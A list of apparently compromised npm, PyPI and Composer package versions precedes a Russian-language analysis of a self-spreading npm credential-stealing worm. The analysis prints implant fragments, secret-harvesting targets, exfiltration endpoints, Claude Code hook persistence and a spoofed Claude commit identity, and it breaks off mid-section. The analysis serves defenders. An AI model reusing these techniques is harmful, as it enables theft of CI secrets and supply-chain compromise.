2026-05-11T21:06:28.484Z |
||
npm |
1.0.2 |
2026-05-11T21:00:20.952Z |
2026-05-11T21:06:28.481Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.606Z |
2026-05-11T21:06:28.479Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.059Z |
2026-05-11T21:06:28.278Z |
||
npm |
0.1.1 |
2026-05-11T21:00:20.507Z |
2026-05-11T21:06:28.175Z |
||
npm |
0.3.1 |
2026-05-11T21:00:20.456Z |
2026-05-11T21:06:27.672Z |
||
npm |
0.1.11 |
2026-05-11T21:00:20.737Z |
2026-05-11T21:06:27.458Z |
||
npm |
0.9.5 |
2026-05-11T21:00:21.305Z |
2026-05-11T21:06:26.745Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.854Z |
2026-05-11T21:06:26.360Z |
||
npm |
0.3.1 |
2026-05-11T21:00:21.498Z |
2026-05-11T21:06:25.997Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.682Z |
2026-05-11T21:06:24.286Z |
||
npm |
0.1.16 |
2026-05-11T20:34:12.922Z |
2026-05-11T20:38:47.982Z |
||
npm |
0.1.15 |
2026-05-11T20:33:47.240Z |
2026-05-11T20:38:47.978Z |
||
npm |
0.6.3 |
2026-05-11T20:18:06.457Z |
2026-05-11T20:26:52.979Z |
||
npm |
0.6.2 |
2026-05-11T20:17:38.766Z |
2026-05-11T20:26:42.458Z |
||
npm |
0.1.13 |
2026-05-11T20:24:24.647Z |
2026-05-11T20:25:52.691Z |
||
npm |
0.1.14 |
2026-05-11T20:24:36.451Z |
2026-05-11T20:25:52.459Z |
||
npm |
0.1.8 |
2026-05-11T20:20:48.119Z |
2026-05-11T20:25:44.452Z |
||
npm |
0.1.6 |
2026-05-11T20:20:28.051Z |
2026-05-11T20:25:29.099Z |
||
npm |
0.1.9 |
2026-05-11T20:20:58.341Z |
2026-05-11T20:25:28.657Z |
||
npm |
0.1.2 |
2026-05-11T20:19:43.209Z |
2026-05-11T20:25:28.613Z |
||
npm |
0.1.5 |
2026-05-11T20:20:18.281Z |
2026-05-11T20:25:26.837Z |
||
npm |
0.1.11 |
2026-05-11T20:23:43.304Z |
2026-05-11T20:25:26.195Z |
||
npm |
0.1.4 |
2026-05-11T20:20:08.742Z |
2026-05-11T20:25:25.801Z |
||
npm |
0.1.3 |
2026-05-11T20:20:02.135Z |
2026-05-11T20:25:16.806Z |
||
npm |
0.1.7 |
2026-05-11T20:20:39.661Z |
2026-05-11T20:25:14.678Z |
||
npm |
0.1.10 |
2026-05-11T20:21:12.886Z |
2026-05-11T20:25:14.606Z |
||
npm |
0.1.12 |
2026-05-11T20:23:57.029Z |
2026-05-11T20:25:14.470Z |
||
npm |
1.0.2 |
2026-05-11T20:17:39.454Z |
2026-05-11T20:24:04.167Z |
||
npm |
1.0.3 |
2026-05-11T20:18:05.715Z |
2026-05-11T20:23:52.742Z |
||
npm |
1.0.3 |
2026-05-11T20:17:39.013Z |
2026-05-11T20:23:31.864Z |
||
npm |
1.0.5 |
2026-05-11T20:18:05.176Z |
2026-05-11T20:23:30.418Z |
||
npm |
1.0.4 |
2026-05-11T20:18:05.569Z |
2026-05-11T20:23:20.251Z |
||
npm |
1.0.4 |
2026-05-11T20:17:38.111Z |
2026-05-11T20:23:18.442Z |
||
npm |
0.1.4 |
2026-05-11T20:17:38.787Z |
2026-05-11T20:23:06.860Z |
||
npm |
0.1.5 |
2026-05-11T20:18:05.230Z |
2026-05-11T20:23:05.204Z |
||
npm |
0.1.27 |
2026-05-11T20:15:42.215Z |
2026-05-11T20:21:13.062Z |
||
npm |
0.1.6 |
2026-05-11T20:15:47.928Z |
2026-05-11T20:20:50.726Z |
||
npm |
0.0.5 |
2026-05-11T20:15:45.429Z |
2026-05-11T20:20:44.519Z |
||
npm |
0.0.5 |
2026-05-11T20:15:44.968Z |
2026-05-11T20:20:41.819Z |
||
npm |
0.1.26 |
2026-05-11T20:09:04.421Z |
2026-05-11T20:15:44.042Z |
||
npm |
0.0.4 |
2026-05-11T20:09:06.848Z |
2026-05-11T20:15:01.286Z |
||
npm |
0.1.5 |
2026-05-11T20:09:07.771Z |
2026-05-11T20:14:59.565Z |
||
npm |
0.0.4 |
2026-05-11T20:09:07.063Z |
2026-05-11T20:14:53.765Z |
||
npm |
0.24.2 |
2026-05-11T20:01:57.667Z |
2026-05-11T20:07:31.986Z |
||
npm |
0.24.1 |
2026-05-11T19:58:57.147Z |
2026-05-11T20:06:52.983Z |
||
npm |
0.13.1 |
2026-05-11T19:58:56.137Z |
2026-05-11T20:06:30.979Z |
||
npm |
0.13.2 |
2026-05-11T20:01:58.657Z |
2026-05-11T20:06:30.487Z |
||
npm |
0.2.2 |
2026-05-11T20:01:57.690Z |
2026-05-11T20:05:29.145Z |
||
npm |
0.2.1 |
2026-05-11T19:58:56.389Z |
2026-05-11T20:05:28.787Z |
||
npm |
0.16.2 |
2026-05-11T20:01:57.323Z |
2026-05-11T20:04:43.759Z |
||
npm |
0.8.4 |
2026-05-11T20:01:57.740Z |
2026-05-11T20:04:38.667Z |
||
npm |
0.5.1 |
2026-05-11T19:58:55.947Z |
2026-05-11T20:04:36.779Z |
||
npm |
0.5.2 |
2026-05-11T20:01:57.399Z |
2026-05-11T20:04:36.241Z |
||
npm |
0.16.1 |
2026-05-11T19:58:56.118Z |
2026-05-11T20:04:28.111Z |
||
npm |
0.8.3 |
2026-05-11T19:58:55.977Z |
2026-05-11T20:04:23.911Z |
||
npm |
0.1.25 |
2026-05-11T19:51:15.698Z |
2026-05-11T19:57:23.481Z |
||
npm |
0.1.4 |
2026-05-11T19:51:13.275Z |
2026-05-11T19:56:58.945Z |
||
npm |
0.0.3 |
2026-05-11T19:51:13.164Z |
2026-05-11T19:56:55.598Z |
||
npm |
0.0.3 |
2026-05-11T19:51:12.905Z |
2026-05-11T19:56:55.529Z |
||
npm |
0.1.24 |
2026-05-11T19:32:15.187Z |
2026-05-11T19:40:18.247Z |
||
npm |
0.0.2 |
2026-05-11T19:32:12.282Z |
2026-05-11T19:38:55.921Z |
||
npm |
0.1.3 |
2026-05-11T19:32:15.626Z |
2026-05-11T19:38:31.046Z |
||
npm |
0.0.2 |
2026-05-11T19:32:15.101Z |
2026-05-11T19:38:17.552Z |
||
npm |
1.0.8 |
2026-05-11T19:29:44.727Z |
2026-05-11T19:37:14.992Z |
||
npm |
1.0.2 |
2026-05-11T19:29:44.584Z |
2026-05-11T19:36:58.993Z |
||
npm |
1.3.3 |
2026-05-11T19:29:45.156Z |
2026-05-11T19:36:25.181Z |
||
npm |
0.1.3 |
2026-05-11T19:29:44.275Z |
2026-05-11T19:36:16.965Z |
||
npm |
1.169.8 |
2026-05-11T19:26:17.716Z |
2026-05-11T19:33:36.604Z |
||
npm |
1.169.8 |
2026-05-11T19:26:18.819Z |
2026-05-11T19:32:40.089Z |
||
npm |
1.169.8 |
2026-05-11T19:26:18.605Z |
2026-05-11T19:32:32.508Z |
||
npm |
1.169.26 |
2026-05-11T19:26:18.127Z |
2026-05-11T19:32:21.727Z |
||
npm |
1.169.8 |
2026-05-11T19:26:17.508Z |
2026-05-11T19:32:18.090Z |
||
npm |
1.167.41 |
2026-05-11T19:26:17.391Z |
2026-05-11T19:32:06.081Z |
||
npm |
1.166.49 |
2026-05-11T19:26:14.652Z |
2026-05-11T19:32:00.870Z |
||
npm |
0.0.50 |
2026-05-11T19:26:16.472Z |
2026-05-11T19:31:54.752Z |
||
npm |
1.168.8 |
2026-05-11T19:26:16.897Z |
2026-05-11T19:31:49.907Z |
||
npm |
0.0.7 |
2026-05-11T19:26:16.921Z |
2026-05-11T19:31:49.220Z |
||
npm |
1.167.71 |
2026-05-11T19:26:16.558Z |
2026-05-11T19:31:48.751Z |
||
npm |
1.166.48 |
2026-05-11T19:26:16.915Z |
2026-05-11T19:31:48.446Z |
||
npm |
1.161.12 |
2026-05-11T19:26:16.653Z |
2026-05-11T19:31:48.213Z |
||
npm |
1.167.9 |
2026-05-11T19:26:16.009Z |
2026-05-11T19:31:47.788Z |
||
npm |
1.167.64 |
2026-05-11T19:26:15.653Z |
2026-05-11T19:31:46.560Z |
||
npm |
1.167.36 |
2026-05-11T19:26:16.223Z |
2026-05-11T19:31:45.132Z |
||
npm |
1.166.57 |
2026-05-11T19:26:15.107Z |
2026-05-11T19:31:43.268Z |
||
npm |
1.166.41 |
2026-05-11T19:26:14.410Z |
2026-05-11T19:31:42.029Z |
||
npm |
1.166.53 |
2026-05-11T19:26:15.031Z |
2026-05-11T19:31:41.413Z |
||
npm |
1.167.68 |
2026-05-11T19:26:16.045Z |
2026-05-11T19:31:40.976Z |
||
npm |
1.168.6 |
2026-05-11T19:26:15.821Z |
2026-05-11T19:31:40.900Z |
||
npm |
1.161.13 |
2026-05-11T19:26:15.112Z |
2026-05-11T19:31:40.861Z |
||
npm |
1.166.18 |
2026-05-11T19:26:14.673Z |
2026-05-11T19:31:40.434Z |
||
npm |
1.154.15 |
2026-05-11T19:26:15.172Z |
2026-05-11T19:31:39.994Z |
||
npm |
1.166.53 |
2026-05-11T19:26:15.007Z |
2026-05-11T19:31:39.739Z |
||
npm |
1.166.18 |
2026-05-11T19:26:14.370Z |
2026-05-11T19:31:38.527Z |
||
npm |
1.166.58 |
2026-05-11T19:26:14.861Z |
2026-05-11T19:31:38.431Z |
||
npm |
1.166.54 |
2026-05-11T19:26:15.316Z |
2026-05-11T19:31:37.986Z |
||
npm |
1.161.12 |
2026-05-11T19:26:14.651Z |
2026-05-11T19:31:37.331Z |
||
npm |
1.161.14 |
2026-05-11T19:26:15.300Z |
2026-05-11T19:31:36.947Z |
||
npm |
1.166.19 |
2026-05-11T19:26:15.124Z |
2026-05-11T19:31:36.664Z |
||
npm |
1.166.19 |
2026-05-11T19:26:15.210Z |
2026-05-11T19:31:36.578Z |
||
npm |
1.161.12 |
2026-05-11T19:26:14.690Z |
2026-05-11T19:31:36.237Z |
||
npm |
1.166.49 |
2026-05-11T19:26:15.629Z |
2026-05-11T19:31:35.789Z |
||
npm |
1.166.15 |
2026-05-11T19:26:14.829Z |
2026-05-11T19:31:34.905Z |
||
npm |
1.166.19 |
2026-05-11T19:26:14.901Z |
2026-05-11T19:31:34.845Z |
||
npm |
1.166.15 |
2026-05-11T19:26:14.344Z |
2026-05-11T19:31:34.392Z |
||
npm |
1.166.18 |
2026-05-11T19:26:14.572Z |
2026-05-11T19:31:34.330Z |
||
npm |
1.166.47 |
2026-05-11T19:26:14.715Z |
2026-05-11T19:31:34.140Z |
||
npm |
1.166.56 |
2026-05-11T19:26:14.385Z |
2026-05-11T19:31:33.908Z |
||
npm |
1.166.15 |
2026-05-11T19:26:15.163Z |
2026-05-11T19:31:33.115Z |
||
npm |
1.166.19 |
2026-05-11T19:26:14.544Z |
2026-05-11T19:31:32.301Z |
||
npm |
1.169.5 |
2026-05-11T19:20:43.431Z |
2026-05-11T19:26:57.102Z |
||
npm |
1.169.23 |
2026-05-11T19:20:43.979Z |
2026-05-11T19:26:45.153Z |
||
npm |
1.169.5 |
2026-05-11T19:20:42.410Z |
2026-05-11T19:26:43.816Z |
||
npm |
1.169.5 |
2026-05-11T19:20:42.334Z |
2026-05-11T19:26:42.187Z |
||
npm |
1.169.5 |
2026-05-11T19:20:42.105Z |
2026-05-11T19:26:38.101Z |
||
npm |
1.167.38 |
2026-05-11T19:20:41.445Z |
2026-05-11T19:26:13.252Z |
||
npm |
0.0.4 |
2026-05-11T19:20:41.346Z |
2026-05-11T19:25:58.220Z |
||
npm |
1.161.9 |
2026-05-11T19:20:40.628Z |
2026-05-11T19:25:57.425Z |
||
npm |
0.0.47 |
2026-05-11T19:20:41.274Z |
2026-05-11T19:25:57.271Z |
||
npm |
1.167.68 |
2026-05-11T19:20:42.111Z |
2026-05-11T19:25:55.101Z |
||
npm |
1.166.45 |
2026-05-11T19:20:41.419Z |
2026-05-11T19:25:54.399Z |
||
npm |
1.168.5 |
2026-05-11T19:20:41.973Z |
2026-05-11T19:25:52.142Z |
||
npm |
1.167.6 |
2026-05-11T19:20:40.288Z |
2026-05-11T19:25:48.724Z |
||
npm |
1.161.11 |
2026-05-11T19:20:39.660Z |
2026-05-11T19:25:47.530Z |
||
npm |
1.166.15 |
2026-05-11T19:20:39.834Z |
2026-05-11T19:25:45.323Z |
||
npm |
1.166.12 |
2026-05-11T19:20:39.821Z |
2026-05-11T19:25:43.955Z |
||
npm |
1.167.33 |
2026-05-11T19:20:40.294Z |
2026-05-11T19:25:43.895Z |
||
npm |
1.167.65 |
2026-05-11T19:20:41.154Z |
2026-05-11T19:25:41.614Z |
||
npm |
1.166.16 |
2026-05-11T19:20:39.936Z |
2026-05-11T19:25:41.008Z |
||
npm |
1.166.16 |
2026-05-11T19:20:39.853Z |
2026-05-11T19:25:40.578Z |
||
npm |
1.166.46 |
2026-05-11T19:20:40.567Z |
2026-05-11T19:25:39.984Z |
||
npm |
1.166.54 |
2026-05-11T19:20:39.720Z |
2026-05-11T19:25:39.556Z |
||
npm |
1.166.16 |
2026-05-11T19:20:39.616Z |
2026-05-11T19:25:38.780Z |
||
npm |
1.161.10 |
2026-05-11T19:20:40.502Z |
2026-05-11T19:25:38.506Z |
||
npm |
1.168.3 |
2026-05-11T19:20:40.830Z |
2026-05-11T19:25:38.338Z |
||
npm |
1.166.53 |
2026-05-11T19:20:39.613Z |
2026-05-11T19:25:37.396Z |
||
npm |
1.154.12 |
2026-05-11T19:20:39.524Z |
2026-05-11T19:25:37.077Z |
||
npm |
1.161.9 |
2026-05-11T19:20:39.939Z |
2026-05-11T19:25:36.487Z |
||
npm |
1.161.9 |
2026-05-11T19:20:39.565Z |
2026-05-11T19:25:36.170Z |
||
npm |
1.166.15 |
2026-05-11T19:20:39.110Z |
2026-05-11T19:25:36.061Z |
||
npm |
1.166.12 |
2026-05-11T19:20:39.476Z |
2026-05-11T19:25:35.944Z |
||
npm |
1.166.12 |
2026-05-11T19:20:39.430Z |
2026-05-11T19:25:35.919Z |
||
npm |
1.166.15 |
2026-05-11T19:20:39.688Z |
2026-05-11T19:25:35.385Z |
||
npm |
1.166.51 |
2026-05-11T19:20:39.703Z |
2026-05-11T19:25:34.743Z |
||
npm |
1.166.16 |
2026-05-11T19:20:39.782Z |
2026-05-11T19:25:34.458Z |
||
npm |
1.166.55 |
2026-05-11T19:20:40.014Z |
2026-05-11T19:25:34.084Z |
||
npm |
1.166.50 |
2026-05-11T19:20:39.763Z |
2026-05-11T19:25:33.602Z |
||
npm |
1.167.61 |
2026-05-11T19:20:40.136Z |
2026-05-11T19:25:33.541Z |
||
npm |
1.166.38 |
2026-05-11T19:20:39.894Z |
2026-05-11T19:25:32.271Z |
||
npm |
1.166.44 |
2026-05-11T19:20:40.002Z |
2026-05-11T19:25:32.260Z |
||
npm |
1.166.46 |
2026-05-11T19:20:39.697Z |
2026-05-11T19:23:26.595Z |
||
npm |
1.166.50 |
2026-05-11T19:20:40.336Z |
2026-05-11T19:23:25.071Z |
||
composer |
intercom-php |
5.0.2 |
2026-04-30T21:07:05.227Z |
||
npm |
7.0.4 |
2026-04-30T14:41:04.098Z |
2026-04-30T15:09:57.503Z |
||
pypi |
lightning |
2.6.3 |
2026-04-30T12:52:46.204Z |
2026-04-30T13:10:58.399Z |
|
pypi |
lightning |
2.6.2 |
2026-04-30T12:45:20.881Z |
2026-04-30T13:03:17.243Z |
|
npm |
2.10.1 |
2026-04-29T12:14:00.709Z |
2026-04-29T12:20:37.765Z |
||
npm |
2.2.2 |
2026-04-29T12:14:00.759Z |
2026-04-29T12:20:37.159Z |
||
npm |
2.2.2 |
2026-04-29T11:25:47.756Z |
2026-04-29T11:33:06.849Z |
||
npm |
1.2.48 |
2026-04-29T09:55:25.654Z |
2026-04-29T10:03:09.406Z |
Анализ взлома
Разберём, как действует вредоносный пакет: его обфускацию и логику работы в CI-среде.
Файл начинается с типичного для obfuscator.io / JavaScript Obfuscator алгоритма ротации массива строк. Это самовызывающаяся функция, которая формирует большой внутренний массив строк, а затем многократно ротирует его до тех пор, пока не найдет совпадающую числовую контрольную сумму. Все строковые литералы в полезной нагрузке заменяются вызовами этого массива через функцию-диспетчер.
// Первые 500 bytes — string-array rotation bootstrap const _0x5b1880=_0x253b; (function(_0x4116b8,_0x2320bb){ const _0x5f1a07=_0x253b, _0x5cdc04=_0x4116b8(); while(!![]){ try{ const _0x22fd2a = parseInt(_0x5f1a07(0xf54))/0x1 + parseInt(_0x5f1a07(0x806))/0x2 * (parseInt(_0x5f1a07(0x13c4))/0x3) + parseInt(_0x5f1a07(0xb77))/0x4 * (parseInt(_0x5f1a07(0x1f0f))/0x5) ...
Основной диспетчер 0x5b1880 вызывается 2 864 раза только в одной строке исходного кода. Помимо уровня 0x, злоумышленник реализовал второй уровень декодирования с помощью пользовательской функции beautify(). Эта функция принимает строки зашифрованного текста в кодировке base64 и декодирует их во время выполнения — вероятно, с помощью XOR или AES. Затем результат используется в качестве аргумента для process.env[]. Такое двойное кодирование специально разработано для предотвращения простого извлечения имен переменных окружения с помощью grep:
// 148 beautify()-encoded process.env accesses, e.g.: process.env[beautify('rX54ou2uVvizjlyyIxhohB/m')] process.env[beautify('ZMIw5arFv0MJjr8UDH9n9RFjuHI5PQk=')] process.env[beautify('th5/odSUZxX2AzAEMHt56vHtaBJ1CGwHPhvy7CD3JeZG//RWUsMqMmU=')] process.env[beautify('kQQPsysgrZ5xrgrKwUM9tHhoYd5XTPQYyuHTVSFPGNnbfw==')] // ...and 144 более
Имена переменных в открытом виде для этих beautify()-блоков неизвестны без динамического выполнения или извлечения ключей. Подтверждённые обращения к process.env в открытом виде (не в закодированном) перечислены ниже в этапе 2 и этапе 3. Закодированный набор, вероятно, включает оставшуюся часть набора GITHUB_*, полные имена AWS-учётных данных и пути Vault, упомянутые ниже.
Демонизация и закрепление
Имплант начинает выполнение с проверки наличия process.env.__DAEMONIZED. Если эта переменная не установлена, текущий процесс немедленно создаёт отделённую (detached) копию самого себя с stdioи устанавливает её в ['ignore','ignore','ignore'], отрывая дочерний процесс от стандартных потоков родительского процесса. После этого родительский процесс корректно завершается.
Это гарантирует, что вредоносная нагрузка не будет видна в выводе npm install или при выполнении скриптов, а дочерний процесс будет полностью отвязан от терминальной сессии, из которой происходила установка.
// Защита от повторного форка демона — срабатывает только при первом запуске if (process.env.__DAEMONIZED) return !0x1; // уже переведён в режим демона, пропустить // Запустить отсоединённый процесс со всеми подавленными потоками stdio spawn(..., { detached: true, stdio: ['ignore', 'ignore', 'ignore'] }).unref();
Вызов unref() гарантирует, что Node.js не будет ждать завершения дочернего процесса перед выходом, из-за чего завершение родительского процесса выглядит полностью штатным. После запуска в отделённом режиме имплант записывает свои копии в два каталога, связанных с инструментами разработчика, чтобы сохраняться после перезагрузок и последующих запусков этих инструментов:
# Claude Code hooks persistence .claude/router_runtime.js ← self-copy of implant body .claude/settings.json ← Claude hooks config (runs implant on tool events) .claude/setup.mjs ← ESM loader shim # VS Code task runner persistence .vscode/setup.mjs ← ESM loader shim .vscode/tasks.json ← VS Code task definition, runs setup.mjs on folder open
Запись в .claude/settings.json особенно коварна. Claude Code поддерживает конфигурацию hooks, которая выполняет shell-команды в ответ на события инструментов (редактирование файлов, запуск bash и т. п.). Записывая себя в эту конфигурацию, имплант гарантирует своё повторное выполнение каждый раз, когда разработчик использует Claude Code в затронутой директории проекта, даже если исходный npm-пакет уже удалён.
Путь через .vscode/tasks.json предоставляет независимый вектор выполнения за счёт функции автозапуска задач рабочего пространства в VS Code. Вместе эти два механизма закрепления означают, что простого npm uninstall недостаточно для устранения последствий заражения.
Определение среды выполнения
Прежде чем приступать к сбору учётных данных, имплант профилирует среду выполнения по трём измерениям: CI-платформа, операционная система и JavaScript-рантайм. Такая логика позволяет избежать шумных запросов к секретам в средах, где они либо не сработают, либо могут вызвать подозрения.
// Определение CI-платформы (в открытом виде) process.env.GITHUB_REPOSITORY // основной признак CI process.env.RUNNER_OS // подтверждает раннер GitHub Actions // Таргетинг по ОС — охвачены три платформы process.platform === 'linux' process.platform === 'darwin' process.platform === 'win32'
Имплант содержит большие платформозависимые массивы, скрытые за вызовами beautify() — в частности, видно eS['LINUX'], которое разворачивается в десятки декодированных строк с путями. Это указывает на наличие условных путей сбора учётных данных в зависимости от платформы, например разных расположений shell-профилей в Linux и macOS.
Запрос к npms.io, замеченный среди сетевых индикаторов, также указывает на то, что имплант на ранней стадии выполнения обращается к сети по адресу https://npms.io/search?q=ponyfill — вероятно, чтобы разрешить зависимость или проверить доступность сети перед началом эксфильтрации.
Далее рассмотрим три основных этапа работы вредоносного скрипта: сначала он собирает учётные данные из CI/CD-окружения, затем использует их для распространения npm-червя, а на финальном этапе пытается отравлять репозитории через GitHub GraphQL API, коммитя вредоносные файлы напрямую в ветки мейнтейнеров.
Этап 1 — Сбор учётных данных
Это наиболее масштабная стадия работы импланта. На этом этапе он систематически обходит все основные плоскости хранения секретов, доступные в современных cloud-native CI-средах, используя как прямое чтение переменных окружения, так и активные API-запросы.
GitHub Actions
Сбор учётных данных в Actions нацелен на пространство переменных окружения раннера и дополнительно обращается к GitHub API, чтобы перечислить секреты на уровне репозитория:
# Подтверждённые чтения переменных окружения в открытом виде GITHUB_REPOSITORY GITHUB_REPOSITORY_ID GITHUB_SERVER_URL GITHUB_WORKFLOW_REF GITHUB_EVENT_NAME ACTIONS_ID_TOKEN_REQUEST_TOKEN ACTIONS_ID_TOKEN_REQUEST_URL ← используется для получения OIDC-токена (Stage 4) # Вызов GitHub REST API — постраничное перечисление секретов GET https://api.github.com/repos/<GITHUB_REPOSITORY>/actions/secrets?per_page=100
Параметр per_page=100 — это максимальное значение, разрешённое GitHub API, то есть одним запросом можно получить полный список секретов для любого репозитория, к которому раннер имеет административный доступ.
AWS
Сбор данных из AWS работает сразу по четырём различным источникам учётных данных, охватывая практически все основные модели развёртывания AWS:
# Чтение переменных окружения (в открытом виде) AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_REGION AWS_ROLE_ARN AWS_WEB_IDENTITY_TOKEN_FILE ← IRSA / workload identity на базе OIDC # EC2/ECS Instance Metadata Service http://169.254.169.254/latest/api/token ← IMDSv2 PUT-запрос для получения session token (заголовок: X-aws-ec2-metadata-token-ttl-seconds) http://169.254.170.2 ← ECS Task Metadata Endpoint v2 # AWS service APIs (идентификаторы видны в файле в открытом виде) secretsmanager ← AWS Secrets Manager ssm ← Systems Manager Parameter Store
Поток работы с IMDSv2 реализован корректно: имплант сначала получает сессионный токен через PUT /latest/api/token с заголовком X-aws-ec2-metadata-token-ttl-seconds, а затем использует возвращённый токен в заголовках X-aws-ec2-metadata-token при последующих запросах к metadata-сервису.
Это не наивная попытка работы через IMDSv1; такой подход будет работать даже на защищённых инстансах, где IMDSv1 отключён.
Название функции executeForRegion, видимое в открытом виде, указывает на то, что запросы к Secrets Manager и SSM Parameter Store, вероятно, выполняются последовательно по нескольким регионам, а не только по текущему региону раннера. Это максимизирует охват возможных секретов в аккаунтах с multi-region-развёртыванием.
HashiCorp Vault
# Чтение переменных окружения Vault VAULT_TOKEN VAULT_AUTH_TOKEN VAULT_ADDR # Внутренний сервисный endpoint кластера Vault vault.svc.cluster.local:8200 ← внутренний Kubernetes API-адрес Vault # Путь к токену Vault (присутствует частичный URL-фрагмент) vault/token
Endpoint svc.cluster.local:8200 — это стандартное DNS-имя Kubernetes для pod’а Vault, развернутого внутри кластера. Это означает, что имплант явно нацелен на Vault, работающий внутри Kubernetes, а не только на standalone-развёртывания. В сочетании с описанным ниже сбором данных из Kubernetes service account это даёт полную цепочку получения учётных данных: украсть токен service account Kubernetes → использовать его для аутентификации в Vault → получить все секреты, хранящиеся в Vault.
Kubernetes
# Пути к учётным данным в файловой системе /var/run/secrets/kubernetes.io/serviceaccount/ca.crt namespace # ← читает файл namespace service account # Вероятно, также читает (путь присутствует в той же директории, но закодирован через beautify): # /var/run/secrets/kubernetes.io/serviceaccount/token
Сертификат центра сертификации service account (ca.crt) используется для проверки TLS-соединений с Kubernetes API server, а файл token (закодирован, а не указан в открытом виде) содержит JWT bearer token, применяемый для аутентификации. Вместе они дают полный внутрикластерный доступ к API в пределах RBAC-привилегий, назначенных service account данного pod’а — а во многих ошибочно настроенных кластерах это означает доступ уровня cluster-admin.
Этап 2 — Распространение npm-червя
Способность импланта к самораспространению — его наиболее опасное свойство с точки зрения экосистемы. Он использует механизм федерации OIDC в GitHub Actions, изначально предназначенный для публикации без пароля, чтобы выпустить действительный токен публикации npm от имени скомпрометированной CI-идентичности.
# Получение OIDC-токена (раннер GitHub Actions) ACTIONS_ID_TOKEN_REQUEST_TOKEN ← предоставляемый GitHub токен авторизации для OIDC-запроса ACTIONS_ID_TOKEN_REQUEST_URL ← endpoint, к которому обращаются для получения JWT OIDC-токена # Проверка npm-токена https://registry.npmjs.org/-/npm/v1/tokens ← подтверждение валидности токена / whoami # Публикация publishPackage() ← упаковывает и публикует имплант tarball / .tgz ← формат архива пакета tar.zst ← вариант со сжатием zstd dist-tags ← внедряет имплант под существующими dist-tag’ами (например, `latest`) oidcToken ← выпущенный JWT OIDC, используемый как npm-аутентификация
Процесс распространения импланта выглядит так:
1. Он запрашивает JWT OIDC у endpoint’а токенов Actions.
2. Обменивает токен Actions на npm-токен публикации через механизм доверительной OIDC-федерации npm.
3.пределяет пакеты, принадлежащие сопровождающему (через поиск в npms.io)
4. Упаковывает копию router_init.js в архив .tgz или tar.zst.
5. Публикует пакет под dist-tag’ом latest.
Если разработчик после этого выполнит npm install для целевого пакета, то он скачает червя.
Наличие строки sigstore в файле указывает на то, что после публикации имплант также отправляет аттестацию происхождения Sigstore в transparency log. Это особенно обманчиво: бейджи provenance в npm специально предназначены для повышения доверия, и пакет, опубликованный имплантом, но имеющий значок «verified provenance», легко пройдёт поверхностную проверку безопасности. Запись provenance будет указывать на контролируемый атакующим запуск GitHub Actions, выполнивший публикацию, однако сама запись в журнале создаёт видимость легитимности пакета.
Этап 3 — Отравление репозиториев через GitHub GraphQL
Помимо распространения через npm, имплант атакует исходные репозитории мейнтейнеров, чьи учётные данные ему удалось собрать. Используя GitHub GraphQL API и украденный токен, он коммитит свои копии напрямую в ветки репозиториев.
# GitHub GraphQL mutation — подтверждённо присутствует в файле в открытом виде createCommitOnBranch ← создаёт коммиты без локального git clone # Целевые пути, в которые идёт запись в репозиториях мейнтейнеров .github/workflows/ ← внедрение в определения CI-пайплайнов .claude/router_runtime.js .claude/settings.json .claude/setup.mjs .vscode/setup.mjs .vscode/tasks.json # Подменённая личность автора коммита claude@users.noreply.github.com ← имитирует учётную запись бота Claude Code
Мутация GraphQL createCommitOnBranch работает напрямую через API GitHub и не требует ни локальной установки git, ни клонирования репозитория. Это означает, что данный этап одинаково выполняется как на CI-раннере, так и на рабочей станции разработчика.
Автор коммита подделывается под claude@users.noreply.github.com, то есть под легитимное GitHub-приложение Anthropic Claude Code. В репозиториях, где Claude Code уже одобрен как интеграция, такой коммит может выглядеть как обычная активность и не вызвать подозрений.
Примечание: для маскировки червь копирует себя под именем файла router_runtime.js. Это имя уже использовалось в предыдущих кампаниях Mini Shai-Hulud.
Чтобы понять, как атака работала на практике, дальше стоит рассмотреть два ключевых элемента: канал эксфильтрации данных через сеть Session и одну из выявленных версий полезной нагрузки — tanstack_runner.js
Эксфильтрация через P2P-сеть Session
Имплант использует необычный канал управления и вывода данных: вместо стандартного HTTPS-маяка на сервер злоумышленника он направляет все собранные учётные данные через децентрализованную сеть обмена сообщениями Session.
Полный стек протокола Session, включая схему Protocol Buffers signalservice, встроен прямо в полезную нагрузку размером 2,3 МБ.
# Основная точка эксфильтрации http://filev2.getsession[.]org/file/ ← endpoint файлового сервера Session # Встроенные внутренние компоненты протокола Session в payload signalservice.Envelope signalservice.Content signalservice.DataMessage signalservice.WebSocketMessage signalservice.SharedConfigMessage signalservice.CallMessage signalservice.DataExtractionNotification # P2P-маршрутизация executeStreaming ← отправляет данные через сеть service node Session snode ← объект маршрутизации service node
Маршрутизация эксфильтрации через сеть snode в Session означает, что трафик C2 выглядит как трафик обычного end-to-end encrypted мессенджера и на сетевом уровне практически неотличим от легитимного использования приложения Session.
Функция executeStreaming отвечает за отправку данных через P2P-рой service node-узлов.
tanstack_runner.js
Этот файл представляет собой сильно обфусцированную JavaScript-нагрузку, нацеленную на среды Node.js/Bun. Хотя на первый взгляд он напоминает скомпилированный код приложения, по сути скрипт ведёт себя как похититель учётных данных, ориентированный на инфраструктуру CI/CD и системы разработчиков. Вредоносная программа перебирает process.env, проверяет наличие окружений GitHub Actions и runner’ов и пытается собрать секреты из GitHub, npm, AWS, Kubernetes и развёртываний Vault. Хотя этот файл и router_init.js, содержащий кражу учётных данных, нацеливание на CI и возможности публикации пакетов, во многом пересекаются, tanstack_runner.js дополнительно содержит механизм самораспространения, добавляющий вредоносную запись в optionalDependencies файла package.json.
Файл использует классический обфускатор на основе массива строк, чтобы скрыть свою функциональность:
const _0x12ada1=_0x3782; (function(_0x2e175c,_0x465e49){ while(!![]){ try{ // rotates encoded string table } catch(e){} } }(_0x360f,0x18ffa));
GITHUB_TOKENNPM_TOKENAWS_ACCESS_KEY_IDVAULT_TOKENсервис метаданных EC2 по адресу
169.254.169.254локальный экземпляр Vault по адресу
127.0.0.1:8200-
путь к токену service account Kubernetes:
/var/run/secrets/kubernetes.io/serviceaccount/token
Вредоносная программа проверяет GitHub-токены через API GitHub и пытается получить доступ к метаданным IAM в EC2:
fetch("https://api.github.com/user", { headers: { Authorization: `token ${token}` } }); http.get( "http://169.254.169.254/latest/meta-data/iam/security-credentials/" )
Также в ней присутствует запуск дочернего процесса в отсоединённом режиме для закрепления:
